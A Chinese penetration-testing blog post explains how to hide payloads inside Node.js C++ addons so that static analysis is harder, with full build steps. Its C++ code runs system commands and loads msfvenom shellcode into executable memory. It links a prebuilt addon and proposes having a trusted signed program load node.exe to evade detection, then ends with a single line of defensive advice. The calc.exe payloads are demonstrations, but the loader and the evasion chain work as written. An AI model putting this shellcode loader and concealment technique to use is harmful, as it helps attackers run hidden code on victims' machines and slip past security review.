滲透測試中的Node.js——利用C++外掛隱藏真實程式碼
0x00 前言
在之前的文章《滲透測試中的Node.js——Downloader的實現》 開源了一個使用Node.js實現Downloader的程式碼,簡要分析在滲透測試中的利用思路。
Node.js的語法簡單易懂,所以Node.js程式碼也很容易被分析。
為了增加Node.js程式碼被分析的難度,我的思路是利用Node.js的一個功能,將payload以C++外掛的形式進行封裝。
這樣不但能夠增加Node.js程式碼被分析的難度,而且可以用C++程式碼來實現payload,已有的C++程式碼經過簡單的修改即可使用,減小二次開發的成本。
0x01 簡介
本文將要介紹以下內容:
· C++外掛簡介
· 搭建C++外掛的開發環境
· C++外掛程式碼例項
· 利用思路
·防禦建議
0x02 C++外掛簡介
Node.js C++外掛是用C++編寫的動態連結庫,可以使用require()函式載入到Node.js中。利用V8提供的API,可以實現JavaScript和C++的互相呼叫,打通JavaScript和C++之間的介面。
官方文件:
https://nodejs.org/api/addons.html
使用例項:
1.編譯成功一個C++外掛,匯出方法為:hello
2.使用Node.js呼叫C++外掛匯出方法的程式碼如下:
const addon = require('./addon.node'); addon.hello();
3.執行程式碼
node.exe test.js
0x03 搭建C++外掛的開發環境
1、Windows開發環境
測試系統:Win7sp1 x64
需要安裝以下工具:
· .NET Framework 4.5.1或更高版本
· Python 2.7
· Visual Studio 2015或更高版本
具體搭建流程如下:
1.安裝.NET Framework 4.5.1
https://www.microsoft.com/en-US/download/details.aspx?id=5842
2.下載Node.js
https://nodejs.org/en/download/
3.使用Windows-Build-Tools自動安裝依賴工具
https://github.com/felixrieseberg/windows-build-tools
cd c:\ powershell npm install --global windows-build-tools
如果安裝失敗,可選擇手動安裝以下工具:
· Python 2.7
· Visual Studio 2015或更高版本
4.安裝node-gyp
https://github.com/nodejs/node-gyp
npm install -g node-gyp
2、Linux開發環境
wget https://nodejs.org/dist/v10.15.3/node-v10.15.3-linux-x64.tar.xz tar xf node-v10.15.3-linux-x64.tar.xz cd node-v10.15.3-linux-x64 cd bin export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH ./npm install -g node-gyp
注:需要新增環境變數指定node的位置(export PATH=/root/node-v10.15.3-linux-x64/bin:$PATH),否則在執行npm install會失敗,提示/usr/bin/env: ‘node’: No such file or directory
例項演示:
1.hello.cc :
#include <node.h> namespace demo { using v8::FunctionCallbackInfo; using v8::Isolate; using v8::Local; using v8::NewStringType; using v8::Object; using v8::String; using v8::Value; void Method(const FunctionCallbackInfo<Value>& args) { Isolate* isolate = args.GetIsolate(); args.GetReturnValue().Set(String::NewFromUtf8( isolate, "world", NewStringType::kNormal).ToLocalChecked()); } void Initialize(Local<Object> exports) { NODE_SET_METHOD(exports, "hello", Method); } NODE_MODULE(NODE_GYP_MODULE_NAME, Initialize) }// namespace demo
2.binding.gyp
{ "targets": [ { "target_name": "addon", "sources": [ "hello.cc" ] } ] }
3.通過node-gyp編譯,生成外掛
node-gyp configure node-gyp build
注:可以合併成一條命令:
node-gyp configure build
Node.js支援交叉編譯,具體引數說明可參考:
https://www.npmjs.com/package/node-pre-gyp
Linux系統下生成Windows64位系統下使用的外掛命令如下:
node-gyp configure build --target_arch=x64 --target_platform=win32
0x04 C++外掛程式碼例項
在開發時,最好避免出現if這種的條件判斷語句,直接使用會導致編譯錯誤。
1. 釋放檔案
#include <node.h> #include <stdio.h> namespace demo { using v8::FunctionCallbackInfo; using v8::Isolate; using v8::Local; using v8::Object; using v8::String; using v8::Value; void Method(const FunctionCallbackInfo<Value>& args) { FILE* fp; fopen_s(&fp, "new.txt", "ab+"); char *buf = "123456"; fwrite(buf, strlen(buf), 1, fp); fseek(fp, 0, SEEK_END); fclose(fp); } void init(Local<Object> exports) { NODE_SET_METHOD(exports, "hello", Method); } NODE_MODULE(NODE_GYP_MODULE_NAME, init) }
2. 執行命令:
#include <node.h> namespace demo { using v8::FunctionCallbackInfo; using v8::Isolate; using v8::Local; using v8::Object; using v8::String; using v8::Value; void Method(const FunctionCallbackInfo<Value>& args) { system("powershell start calc.exe"); } void init(Local<Object> exports) { NODE_SET_METHOD(exports, "hello", Method); } NODE_MODULE(NODE_GYP_MODULE_NAME, init) }
3.執行shellcode
生成shellcode:
msfvenom -p windows/x64/exec CMD=calc.exe -f c
載入shellcode並執行:
#include <node.h> #include <Windows.h> namespace demo { using v8::FunctionCallbackInfo; using v8::Isolate; using v8::Local; using v8::Object; using v8::String; using v8::Value; void Method(const FunctionCallbackInfo<Value>& args) { unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c" "\x63\x2e\x65\x78\x65\x00"; void *sc = VirtualAlloc(0, sizeof(shellcode), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(sc, shellcode, sizeof(shellcode)); (*(int(*)()) sc)(); } void init(Local<Object> exports) { NODE_SET_METHOD(exports, "hello", Method); } NODE_MODULE(NODE_GYP_MODULE_NAME, init) }
編譯好的外掛已上傳至github,地址如下:
https://github.com/3gstudent/test/raw/master/addon.node
以上外掛程式碼的匯出方法均為hello,呼叫方式如下:
const addon = require('./addon.node'); addon.hello();
0x05 利用思路
1、被第三方可信程式載入
參考:https://bbs.pediy.com/thread-249573.htm
t.exe->node.exe->main.js
main.js與addon.node放在同級目錄,main.js的內容如下:
const addon = require('./addon.node'); addon.hello();
addon.node的格式為dll檔案,無法直接獲得payload,增加靜態分析的成本。
0x06 防禦建議
對t.exe的子程序(node.exe)行為進行判斷,如果有可疑行為進行攔截,取消對該證書的信任。
0x07 小結
本文介紹了Node.js中C++外掛的用法,可以用來增加Node.js程式碼被分析的難度,最後分享了三個payload的寫法。